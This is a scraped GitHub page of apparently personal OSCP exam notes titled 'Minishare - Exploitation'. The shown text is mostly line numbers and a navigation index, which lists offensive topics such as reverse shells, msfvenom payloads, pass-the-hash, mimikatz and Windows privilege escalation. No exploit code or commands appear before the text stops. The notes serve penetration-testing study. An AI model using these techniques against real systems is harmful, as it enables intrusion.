generated from infosecsanyam261/All_About_OSCP_Notes
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathMy_OSCP_Preparation_Notes--Buffer_Overflow--Minishare_-_Exploitation.html
722 lines (720 loc) · 66.2 KB
/
My_OSCP_Preparation_Notes--Buffer_Overflow--Minishare_-_Exploitation.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
<!doctype html><html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<title>Minishare - Exploitation</title>
<meta name="generator" content="CherryTree">
<link rel="stylesheet" href="styles.css" type="text/css" />
</head>
<body><div class="main"><div class="tree">
<p><strong>Index</strong></p>
<p><a href="My_OSCP_Preparation_Notes.html">My OSCP Preparation Notes</a></p>
<ol>
<li><a href="My_OSCP_Preparation_Notes--Scanning.html">Scanning</a></li>
<ol>
<li><a href="My_OSCP_Preparation_Notes--Scanning--Recon.html">Recon</a></li>
<ol>
<li><a href="My_OSCP_Preparation_Notes--Scanning--Recon--network.html">network</a></li>
<li><a href="My_OSCP_Preparation_Notes--Scanning--Recon--web.html">web</a></li>
<ol>
<li><a href="My_OSCP_Preparation_Notes--Scanning--Recon--web--gobuster.html">gobuster</a></li>
<li><a href="My_OSCP_Preparation_Notes--Scanning--Recon--web--wfuzz.html">wfuzz</a></li>
<li><a href="My_OSCP_Preparation_Notes--Scanning--Recon--web--webdav.html">webdav</a></li>
<li><a href="My_OSCP_Preparation_Notes--Scanning--Recon--web--jenkin.html">jenkin</a></li>
</ol>
</ol>
<li><a href="My_OSCP_Preparation_Notes--Scanning--Nmap.html">Nmap</a></li>
<ol>
<li><a href="My_OSCP_Preparation_Notes--Scanning--Nmap--My_way.html">My way</a></li>
<ol>
<li><a href="My_OSCP_Preparation_Notes--Scanning--Nmap--My_way--TCP.html">TCP</a></li>
<ol>
<li><a href="My_OSCP_Preparation_Notes--Scanning--Nmap--My_way--TCP--Step1-Live_host.html">Step1-Live host</a></li>
<li><a href="My_OSCP_Preparation_Notes--Scanning--Nmap--My_way--TCP--Step2-nmap_Full_port_scan.html">Step2-nmap Full port scan</a></li>
<li><a href="My_OSCP_Preparation_Notes--Scanning--Nmap--My_way--TCP--Step3-Run_nmap_Full_port_scan.html">Step3-Run nmap Full port scan</a></li>
<li><a href="My_OSCP_Preparation_Notes--Scanning--Nmap--My_way--TCP--Step4-nmap_Open_port_scan.html">Step4-nmap Open port scan</a></li>
<li><a href="My_OSCP_Preparation_Notes--Scanning--Nmap--My_way--TCP--Step5-Run_Open_port_scan.html">Step5-Run Open port scan</a></li>
</ol>
<li><a href="My_OSCP_Preparation_Notes--Scanning--Nmap--My_way--UDP.html">UDP</a></li>
<ol>
<li><a href="My_OSCP_Preparation_Notes--Scanning--Nmap--My_way--UDP--Step2-nmap_Full_port_scan.html">Step2-nmap Full port scan</a></li>
<li><a href="My_OSCP_Preparation_Notes--Scanning--Nmap--My_way--UDP--Step3-Run_nmap_Full_port_scan.html">Step3-Run nmap Full port scan</a></li>
<li><a href="My_OSCP_Preparation_Notes--Scanning--Nmap--My_way--UDP--Step4-nmap_Open_port_scan.html">Step4-nmap Open port scan</a></li>
<li><a href="My_OSCP_Preparation_Notes--Scanning--Nmap--My_way--UDP--Step5-Run_Open_port_scan.html">Step5-Run Open port scan</a></li>
</ol>
<li><a href="My_OSCP_Preparation_Notes--Scanning--Nmap--My_way--FinalScanPart1.html">FinalScanPart1</a></li>
<li><a href="My_OSCP_Preparation_Notes--Scanning--Nmap--My_way--FinalScanPart2.html">FinalScanPart2</a></li>
</ol>
</ol>
<li><a href="My_OSCP_Preparation_Notes--Scanning--Port_Knock.html">Port Knock</a></li>
</ol>
<li><a href="My_OSCP_Preparation_Notes--Enumeration.html">Enumeration</a></li>
<ol>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--HTTP.html">HTTP</a></li>
<ol>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--HTTP--Gobuster.html">Gobuster</a></li>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--HTTP--Nikto.html">Nikto</a></li>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--HTTP--dirsearch.html">dirsearch</a></li>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--HTTP--WFuzz.html">WFuzz</a></li>
<ol>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--HTTP--WFuzz--wfuzz_username.html">wfuzz username</a></li>
</ol>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--HTTP--Command_Injection.html">Command Injection</a></li>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--HTTP--Login_Bypass.html">Login Bypass</a></li>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--HTTP--Droopal_Scan.html">Droopal Scan</a></li>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--HTTP--SSRF.html">SSRF</a></li>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--HTTP--Hydra_post_form.html">Hydra post form</a></li>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--HTTP--cewl.html">cewl</a></li>
</ol>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--FTP-21.html">FTP-21</a></li>
<ol>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--FTP-21--Download_file_from_ftp.html">Download file from ftp</a></li>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--FTP-21--Autobind_ftp_when_ftp_is_permission_denied_for_local_user.html">Autobind ftp when ftp is permission denied for local user</a></li>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--FTP-21--Remeber_while_uploading_file_on_ftp.html">Remeber while uploading file on ftp</a></li>
</ol>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--SSH.html">SSH</a></li>
<ol>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--SSH--SSH_Tunneling_-_Pivoting.html">SSH Tunneling / Pivoting</a></li>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--SSH--enum_ssh.html">enum_ssh</a></li>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--SSH--rbash_shell_esacping.html">rbash shell esacping</a></li>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--SSH--Login_with_RSA.html">Login with RSA</a></li>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--SSH--Decrypt_RSA.html">Decrypt RSA</a></li>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--SSH--When_bruteforcing_hydra_don't_work.html">When bruteforcing hydra don't work</a></li>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--SSH--lshell_bypass.html">lshell bypass</a></li>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--SSH--different_shell_and_their_errors.html">different shell and their errors</a></li>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--SSH--port_kncoking.html">port kncoking</a></li>
</ol>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--SMB.html">SMB</a></li>
<ol>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--SMB--Check_smb_version.html">Check smb version</a></li>
</ol>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--SNMP.html">SNMP</a></li>
<ol>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--SNMP--snmp_enum.html">snmp_enum</a></li>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--SNMP--onesixyone_scanning_for_ips.html">onesixyone scanning for ips</a></li>
</ol>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--MS_SQL.html">MS SQL</a></li>
<ol>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--MS_SQL--Microsoft_sql_enum.html">Microsoft_sql_enum</a></li>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--MS_SQL--Error_based_SQL.html">Error based SQL</a></li>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--MS_SQL--boolean_based.html">boolean based</a></li>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--MS_SQL--Time_based_SQLi.html">Time based SQLi</a></li>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--MS_SQL--SQL_Injection_(SQL_MAP).html">SQL Injection (SQL MAP)</a></li>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--MS_SQL--Blind_sql.html">Blind sql</a></li>
</ol>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--finger_enum_user.sh.html">finger_enum_user.sh</a></li>
<ol>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--finger_enum_user.sh--Enum_Image.html">Enum Image</a></li>
</ol>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--Telnet.html">Telnet</a></li>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--Pop3.html">Pop3</a></li>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--CMS.html">CMS</a></li>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--Uncommon_Port_Exploitation_search-Enum.html">Uncommon Port Exploitation search/Enum</a></li>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--Steg_extract.html">Steg extract</a></li>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--RDP.html">RDP</a></li>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--James_4555.html">James 4555</a></li>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--MDB_tool.html">MDB tool</a></li>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--OS.html">OS</a></li>
<ol>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--OS--linux.html">linux </a></li>
<ol>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--OS--linux--commands.html">commands</a></li>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--OS--linux--tty.html">tty</a></li>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--OS--linux--basic_enumeration.html">basic enumeration</a></li>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--OS--linux--suid.html">suid</a></li>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--OS--linux--cron.html">cron</a></li>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--OS--linux--grep.html">grep</a></li>
</ol>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--OS--windows.html">windows</a></li>
<ol>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--OS--windows--basic_commands.html">basic commands</a></li>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--OS--windows--samba__version.html">samba version</a></li>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--OS--windows--search.html">search</a></li>
<li><a href="My_OSCP_Preparation_Notes--Enumeration--OS--windows--version.html">version</a></li>
</ol>
</ol>
</ol>
<li><a href="My_OSCP_Preparation_Notes--Shell.html">Shell</a></li>
<ol>
<li><a href="My_OSCP_Preparation_Notes--Shell--msfvenom.html">msfvenom</a></li>
<ol>
<li><a href="My_OSCP_Preparation_Notes--Shell--msfvenom--msf.html">msf</a></li>
</ol>
<li><a href="My_OSCP_Preparation_Notes--Shell--windows.html">windows</a></li>
<li><a href="My_OSCP_Preparation_Notes--Shell--shell.html">shell</a></li>
<li><a href="My_OSCP_Preparation_Notes--Shell--one_liner.html">one liner</a></li>
<ol>
<li><a href="My_OSCP_Preparation_Notes--Shell--one_liner--php.html">php</a></li>
<li><a href="My_OSCP_Preparation_Notes--Shell--one_liner--one_liner.html">one liner</a></li>
<li><a href="My_OSCP_Preparation_Notes--Shell--one_liner--infosec_one_liner.html">infosec one liner</a></li>
</ol>
<li><a href="My_OSCP_Preparation_Notes--Shell--powershell.html">powershell</a></li>
<li><a href="My_OSCP_Preparation_Notes--Shell--MSFVenom_&_Metasploit.html">MSFVenom & Metasploit</a></li>
<ol>
<li><a href="My_OSCP_Preparation_Notes--Shell--MSFVenom_&_Metasploit--MSFVenom-payload.html">MSFVenom-payload</a></li>
<ol>
<li><a href="My_OSCP_Preparation_Notes--Shell--MSFVenom_&_Metasploit--MSFVenom-payload--Windows.html">Windows</a></li>
<li><a href="My_OSCP_Preparation_Notes--Shell--MSFVenom_&_Metasploit--MSFVenom-payload--Linux.html">Linux</a></li>
<li><a href="My_OSCP_Preparation_Notes--Shell--MSFVenom_&_Metasploit--MSFVenom-payload--Web_Payload.html">Web Payload</a></li>
<li><a href="My_OSCP_Preparation_Notes--Shell--MSFVenom_&_Metasploit--MSFVenom-payload--Binaries.html">Binaries</a></li>
</ol>
<li><a href="My_OSCP_Preparation_Notes--Shell--MSFVenom_&_Metasploit--Metasploit.html">Metasploit</a></li>
<ol>
<li><a href="My_OSCP_Preparation_Notes--Shell--MSFVenom_&_Metasploit--Metasploit--meterpreter.html">meterpreter</a></li>
<li><a href="My_OSCP_Preparation_Notes--Shell--MSFVenom_&_Metasploit--Metasploit--Meterpreter_shell_code.html">Meterpreter shell code</a></li>
<li><a href="My_OSCP_Preparation_Notes--Shell--MSFVenom_&_Metasploit--Metasploit--MsfVenom_Handler.html">MsfVenom Handler</a></li>
</ol>
<li><a href="My_OSCP_Preparation_Notes--Shell--MSFVenom_&_Metasploit--Netcat_on_windows.html">Netcat on windows</a></li>
</ol>
</ol>
<li><a href="My_OSCP_Preparation_Notes--Intrective_shell.html">Intrective shell</a></li>
<ol>
<li><a href="My_OSCP_Preparation_Notes--Intrective_shell--Pseudo_shell.html">Pseudo shell</a></li>
<ol>
<li><a href="My_OSCP_Preparation_Notes--Intrective_shell--Pseudo_shell--python.html">python</a></li>
<li><a href="My_OSCP_Preparation_Notes--Intrective_shell--Pseudo_shell--bash.html">bash</a></li>
<li><a href="My_OSCP_Preparation_Notes--Intrective_shell--Pseudo_shell--awk.html">awk</a></li>
<li><a href="My_OSCP_Preparation_Notes--Intrective_shell--Pseudo_shell--perl.html">perl</a></li>
<li><a href="My_OSCP_Preparation_Notes--Intrective_shell--Pseudo_shell--ruby.html">ruby</a></li>
<li><a href="My_OSCP_Preparation_Notes--Intrective_shell--Pseudo_shell--lua.html">lua</a></li>
<li><a href="My_OSCP_Preparation_Notes--Intrective_shell--Pseudo_shell--IRB.html">IRB</a></li>
<li><a href="My_OSCP_Preparation_Notes--Intrective_shell--Pseudo_shell--tcpdump.html">tcpdump</a></li>
<li><a href="My_OSCP_Preparation_Notes--Intrective_shell--Pseudo_shell--vi.html">vi</a></li>
<li><a href="My_OSCP_Preparation_Notes--Intrective_shell--Pseudo_shell--nmap.html">nmap</a></li>
</ol>
<li><a href="My_OSCP_Preparation_Notes--Intrective_shell--Full_intractive_shell.html">Full intractive shell</a></li>
<ol>
<li><a href="My_OSCP_Preparation_Notes--Intrective_shell--Full_intractive_shell--Magic_on_netcat.html">Magic on netcat</a></li>
</ol>
<li><a href="My_OSCP_Preparation_Notes--Intrective_shell--Reverse_shell.html">Reverse shell</a></li>
<ol>
<li><a href="My_OSCP_Preparation_Notes--Intrective_shell--Reverse_shell--bash.html">bash</a></li>
<li><a href="My_OSCP_Preparation_Notes--Intrective_shell--Reverse_shell--python.html">python</a></li>
<li><a href="My_OSCP_Preparation_Notes--Intrective_shell--Reverse_shell--ruby.html">ruby</a></li>
<li><a href="My_OSCP_Preparation_Notes--Intrective_shell--Reverse_shell--Java.html">Java</a></li>
<li><a href="My_OSCP_Preparation_Notes--Intrective_shell--Reverse_shell--Telnet.html">Telnet</a></li>
<li><a href="My_OSCP_Preparation_Notes--Intrective_shell--Reverse_shell--netcat.html">netcat</a></li>
<li><a href="My_OSCP_Preparation_Notes--Intrective_shell--Reverse_shell--PHP.html">PHP</a></li>
<li><a href="My_OSCP_Preparation_Notes--Intrective_shell--Reverse_shell--Gawk.html">Gawk</a></li>
<li><a href="My_OSCP_Preparation_Notes--Intrective_shell--Reverse_shell--URL_reverseshell.html">URL reverseshell</a></li>
<li><a href="My_OSCP_Preparation_Notes--Intrective_shell--Reverse_shell--bypass_&__os_command_php.html">bypass & os command php</a></li>
<li><a href="My_OSCP_Preparation_Notes--Intrective_shell--Reverse_shell--curl.html">curl</a></li>
</ol>
<li><a href="My_OSCP_Preparation_Notes--Intrective_shell--Reverse_Shell_with_Powercat.html">Reverse Shell with Powercat</a></li>
</ol>
<li><a href="My_OSCP_Preparation_Notes--File_Transfer.html">File Transfer</a></li>
<ol>
<li><a href="My_OSCP_Preparation_Notes--File_Transfer--tftp.html">tftp</a></li>
<li><a href="My_OSCP_Preparation_Notes--File_Transfer--http.html">http</a></li>
<li><a href="My_OSCP_Preparation_Notes--File_Transfer--linux.html">linux</a></li>
<li><a href="My_OSCP_Preparation_Notes--File_Transfer--windows.html">windows</a></li>
<li><a href="My_OSCP_Preparation_Notes--File_Transfer--scp.html">scp</a></li>
<li><a href="My_OSCP_Preparation_Notes--File_Transfer--Transfer.html">Transfer</a></li>
<ol>
<li><a href="My_OSCP_Preparation_Notes--File_Transfer--Transfer--Windows.html">Windows</a></li>
<ol>
<li><a href="My_OSCP_Preparation_Notes--File_Transfer--Transfer--Windows--Pwershell.html">Pwershell</a></li>
<li><a href="My_OSCP_Preparation_Notes--File_Transfer--Transfer--Windows--Cert_Util.html">Cert Util</a></li>
<li><a href="My_OSCP_Preparation_Notes--File_Transfer--Transfer--Windows--TFTP.html">TFTP</a></li>
<li><a href="My_OSCP_Preparation_Notes--File_Transfer--Transfer--Windows--SCP.html">SCP</a></li>
<li><a href="My_OSCP_Preparation_Notes--File_Transfer--Transfer--Windows--netcat.html">netcat</a></li>
<li><a href="My_OSCP_Preparation_Notes--File_Transfer--Transfer--Windows--Debug.html">Debug</a></li>
<li><a href="My_OSCP_Preparation_Notes--File_Transfer--Transfer--Windows--bitsadmin.html">bitsadmin</a></li>
<li><a href="My_OSCP_Preparation_Notes--File_Transfer--Transfer--Windows--smb.html">smb</a></li>
<li><a href="My_OSCP_Preparation_Notes--File_Transfer--Transfer--Windows--rdp.html">rdp</a></li>
</ol>
<li><a href="My_OSCP_Preparation_Notes--File_Transfer--Transfer--Linux.html">Linux</a></li>
<ol>
<li><a href="My_OSCP_Preparation_Notes--File_Transfer--Transfer--Linux--FTP.html">FTP</a></li>
<li><a href="My_OSCP_Preparation_Notes--File_Transfer--Transfer--Linux--TFTP.html">TFTP</a></li>
<li><a href="My_OSCP_Preparation_Notes--File_Transfer--Transfer--Linux--SCP.html">SCP</a></li>
<li><a href="My_OSCP_Preparation_Notes--File_Transfer--Transfer--Linux--netcat.html">netcat</a></li>
<li><a href="My_OSCP_Preparation_Notes--File_Transfer--Transfer--Linux--curl.html">curl</a></li>
<li><a href="My_OSCP_Preparation_Notes--File_Transfer--Transfer--Linux--Wget.html">Wget</a></li>
<li><a href="My_OSCP_Preparation_Notes--File_Transfer--Transfer--Linux--With_no_tool.html">With no tool</a></li>
</ol>
</ol>
</ol>
<li><a href="My_OSCP_Preparation_Notes--WINDOWS_-_Privilege_Escalation.html">WINDOWS - Privilege Escalation</a></li>
<ol>
<li><a href="My_OSCP_Preparation_Notes--WINDOWS_-_Privilege_Escalation--WINDOWS_-_Sharup_Results.html">WINDOWS - Sharup Results</a></li>
<li><a href="My_OSCP_Preparation_Notes--WINDOWS_-_Privilege_Escalation--WINDOWS_-_Kernel.html">WINDOWS - Kernel</a></li>
<li><a href="My_OSCP_Preparation_Notes--WINDOWS_-_Privilege_Escalation--WINDOWS_-_Services_(Binpath).html">WINDOWS - Services (Binpath)</a></li>
<li><a href="My_OSCP_Preparation_Notes--WINDOWS_-_Privilege_Escalation--WINDOWS_-Services_(Unquoted_path).html">WINDOWS -Services (Unquoted path)</a></li>
<li><a href="My_OSCP_Preparation_Notes--WINDOWS_-_Privilege_Escalation--WINDOWS_-_Services_(Registry).html">WINDOWS - Services (Registry)</a></li>
<li><a href="My_OSCP_Preparation_Notes--WINDOWS_-_Privilege_Escalation--WINDOWS_-_Registry_(Autorun).html">WINDOWS - Registry (Autorun)</a></li>
<li><a href="My_OSCP_Preparation_Notes--WINDOWS_-_Privilege_Escalation--WINDOWS_-_Registry(AlwaysInstallElevated.html">WINDOWS - Registry(AlwaysInstallElevated</a></li>
<li><a href="My_OSCP_Preparation_Notes--WINDOWS_-_Privilege_Escalation--WINDOWS_-_PasswordMining_(Memory).html">WINDOWS - PasswordMining (Memory)</a></li>
<li><a href="My_OSCP_Preparation_Notes--WINDOWS_-_Privilege_Escalation--WINDOWS_-Password_(Registry).html">WINDOWS -Password (Registry)</a></li>
<li><a href="My_OSCP_Preparation_Notes--WINDOWS_-_Privilege_Escalation--WINDOWS_-_Password_(config_files).html">WINDOWS - Password (config files)</a></li>
<li><a href="My_OSCP_Preparation_Notes--WINDOWS_-_Privilege_Escalation--WINDOWS_-Scheduled_task_(Missing_binary).html">WINDOWS -Scheduled task (Missing binary)</a></li>
<li><a href="My_OSCP_Preparation_Notes--WINDOWS_-_Privilege_Escalation--WINDOWS_-Startup_Application.html">WINDOWS -Startup Application</a></li>
<li><a href="My_OSCP_Preparation_Notes--WINDOWS_-_Privilege_Escalation--WINDOWS_-_Passthehash.html">WINDOWS - Passthehash</a></li>
<li><a href="My_OSCP_Preparation_Notes--WINDOWS_-_Privilege_Escalation--WINDOWS_-_Unquoted_Path_Service.html">WINDOWS - Unquoted Path Service</a></li>
<ol>
<li><a href="My_OSCP_Preparation_Notes--WINDOWS_-_Privilege_Escalation--WINDOWS_-_Unquoted_Path_Service--adding_new_user.html">adding new user</a></li>
<li><a href="My_OSCP_Preparation_Notes--WINDOWS_-_Privilege_Escalation--WINDOWS_-_Unquoted_Path_Service--rdp_and_stickykeys.html">rdp and stickykeys </a></li>
</ol>
<li><a href="My_OSCP_Preparation_Notes--WINDOWS_-_Privilege_Escalation--WINDOWS_-_(AlwaysInstallElevated).html">WINDOWS - (AlwaysInstallElevated)</a></li>
<ol>
<li><a href="My_OSCP_Preparation_Notes--WINDOWS_-_Privilege_Escalation--WINDOWS_-_(AlwaysInstallElevated)--1st_method_-_msfvenom.html">1st method - msfvenom</a></li>
<li><a href="My_OSCP_Preparation_Notes--WINDOWS_-_Privilege_Escalation--WINDOWS_-_(AlwaysInstallElevated)--2nd_method_-_administrator.html">2nd method - administrator</a></li>
<li><a href="My_OSCP_Preparation_Notes--WINDOWS_-_Privilege_Escalation--WINDOWS_-_(AlwaysInstallElevated)--3rd_way_via_msf.html">3rd way via msf</a></li>
</ol>
<li><a href="My_OSCP_Preparation_Notes--WINDOWS_-_Privilege_Escalation--WINDOWS_-_Automated_Script.html">WINDOWS - Automated Script</a></li>
<ol>
<li><a href="My_OSCP_Preparation_Notes--WINDOWS_-_Privilege_Escalation--WINDOWS_-_Automated_Script--Windows-Exploit-suggester.html">Windows-Exploit-suggester</a></li>
<li><a href="My_OSCP_Preparation_Notes--WINDOWS_-_Privilege_Escalation--WINDOWS_-_Automated_Script--Windows_Gather_Applied_Patches.html">Windows Gather Applied Patches</a></li>
<li><a href="My_OSCP_Preparation_Notes--WINDOWS_-_Privilege_Escalation--WINDOWS_-_Automated_Script--Sherlock.html">Sherlock</a></li>
<li><a href="My_OSCP_Preparation_Notes--WINDOWS_-_Privilege_Escalation--WINDOWS_-_Automated_Script--JAWS_–_Just_Another_Windows_(Enum)_Script.html">JAWS – Just Another Windows (Enum) Script</a></li>
<li><a href="My_OSCP_Preparation_Notes--WINDOWS_-_Privilege_Escalation--WINDOWS_-_Automated_Script--powerup.html">powerup</a></li>
</ol>
<li><a href="My_OSCP_Preparation_Notes--WINDOWS_-_Privilege_Escalation--My_Priv_esc_tech_(Windows).html">My Priv esc tech (Windows)</a></li>
<ol>
<li><a href="My_OSCP_Preparation_Notes--WINDOWS_-_Privilege_Escalation--My_Priv_esc_tech_(Windows)--mimiketz_if_discover_protected_SID_files.html">mimiketz if discover protected SID files</a></li>
<li><a href="ation_Notes--WINDOWS_-_Privilege_Escalation--My_Priv_esc_tech_(Windows)--Login_with_obtained_creds_with_psexec_and_powershell_&_smbclient.html">Login with obtained creds with psexec and powershell & smbclient</a></li>
<li><a href="on_Notes--WINDOWS_-_Privilege_Escalation--My_Priv_esc_tech_(Windows)--Finding_permission_&_actual_file_path_of_shortcut_file_or_.lnk_file.html">Finding permission & actual file path of shortcut file or .lnk file</a></li>
<li><a href="_Notes--WINDOWS_-_Privilege_Escalation--My_Priv_esc_tech_(Windows)--icacls_&_cacls_for_find_file_&_folder_permissions_and_Edit_permission.html">icacls & cacls for find file & folder permissions and Edit permission</a></li>
<li><a href="My_OSCP_Preparation_Notes--WINDOWS_-_Privilege_Escalation--My_Priv_esc_tech_(Windows)--Discovered_VM_on_target_loaction.html">Discovered VM on target loaction</a></li>
<li><a href="My_OSCP_Preparation_Notes--WINDOWS_-_Privilege_Escalation--My_Priv_esc_tech_(Windows)--Discoverd_.mdb_backup.html">Discoverd .mdb backup</a></li>
<li><a href="My_OSCP_Preparation_Notes--WINDOWS_-_Privilege_Escalation--My_Priv_esc_tech_(Windows)--Discovered_.kdbx_Keepass_database.html">Discovered .kdbx Keepass database</a></li>
<li><a href="My_OSCP_Preparation_Notes--WINDOWS_-_Privilege_Escalation--My_Priv_esc_tech_(Windows)--search_file_recursively.html">search file recursively</a></li>
<li><a href="My_OSCP_Preparation_Notes--WINDOWS_-_Privilege_Escalation--My_Priv_esc_tech_(Windows)--List_hidden_files.html">List hidden files</a></li>
<li><a href="My_OSCP_Preparation_Notes--WINDOWS_-_Privilege_Escalation--My_Priv_esc_tech_(Windows)--Got_.dmp_file_extract_with_volatality.html">Got .dmp file extract with volatality</a></li>
<li><a href="My_OSCP_Preparation_Notes--WINDOWS_-_Privilege_Escalation--My_Priv_esc_tech_(Windows)--group.xml_file_with_enocded_password.html">group.xml file with enocded password</a></li>
<li><a href="My_OSCP_Preparation_Notes--WINDOWS_-_Privilege_Escalation--My_Priv_esc_tech_(Windows)--Get_that_pass_out_of_the_ADS_backup.zip.html">Get that "pass" out of the ADS backup.zip</a></li>
<li><a href="My_OSCP_Preparation_Notes--WINDOWS_-_Privilege_Escalation--My_Priv_esc_tech_(Windows)--disable_firewall_enable_rdp.html">disable firewall enable rdp</a></li>
<li><a href="My_OSCP_Preparation_Notes--WINDOWS_-_Privilege_Escalation--My_Priv_esc_tech_(Windows)--Finding_windows_version_from_a_file.html">Finding windows version from a file</a></li>
<li><a href="My_OSCP_Preparation_Notes--WINDOWS_-_Privilege_Escalation--My_Priv_esc_tech_(Windows)--got_SAM_System_file_use_pwdump_to_dump_hashes.html">got SAM System file use pwdump to dump hashes</a></li>
<li><a href="My_OSCP_Preparation_Notes--WINDOWS_-_Privilege_Escalation--My_Priv_esc_tech_(Windows)--Windows.html">Windows</a></li>
<ol>
<li><a href="My_OSCP_Preparation_Notes--WINDOWS_-_Privilege_Escalation--My_Priv_esc_tech_(Windows)--Windows--Ebowla_+_Token_Impersonation.html">Ebowla + Token Impersonation</a></li>
<li><a href="My_OSCP_Preparation_Notes--WINDOWS_-_Privilege_Escalation--My_Priv_esc_tech_(Windows)--Windows--Non_intractive_powershell_file_execution.html">Non intractive powershell file execution</a></li>
<li><a href="My_OSCP_Preparation_Notes--WINDOWS_-_Privilege_Escalation--My_Priv_esc_tech_(Windows)--Windows--add_user.html">add user</a></li>
